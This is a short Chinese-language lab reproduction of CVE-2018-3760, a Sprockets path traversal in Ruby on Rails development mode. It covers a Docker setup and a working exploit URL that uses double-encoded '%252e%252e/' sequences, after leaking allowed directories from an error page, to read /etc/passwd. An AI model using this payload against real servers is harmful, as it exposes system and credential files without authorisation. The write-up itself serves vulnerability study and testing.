Ruby On Rails 路徑穿越漏洞(CVE-2018-3760)復現
阿新 • • 發佈:2019-02-09
Ruby On Rails 路徑穿越漏洞(CVE-2018-3760)
Ruby On Rails在開發環境下使用Sprockets作為靜態檔案伺服器,Ruby On Rails是著名Ruby Web開發框架,Sprockets是編譯及分發靜態資原始檔的Ruby庫。
Sprockets 3.7.1及之前版本中,存在一處因為二次解碼導致的路徑穿越漏洞,攻擊者可以利用%252e%252e/
來跨越到根目錄,讀取或執行目標伺服器上任意檔案。
參考連結:
環境搭建
啟動一個用Ruby On Rails腳手架生成的預設站點:
docker-compose up -d
訪問http://your-ip:3000
漏洞復現
直接訪問http://your-ip:3000/assets/file:%2f%2f/etc/passwd
,將會報錯,因為檔案/etc/passwd
不在允許的目錄中:
我們通過報錯頁面,可以獲得允許的目錄列表。隨便選擇其中一個目錄,如/usr/src/blog/app/assets/images
,然後使用%252e%252e/
向上一層跳轉,最後讀取/etc/passwd
:
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd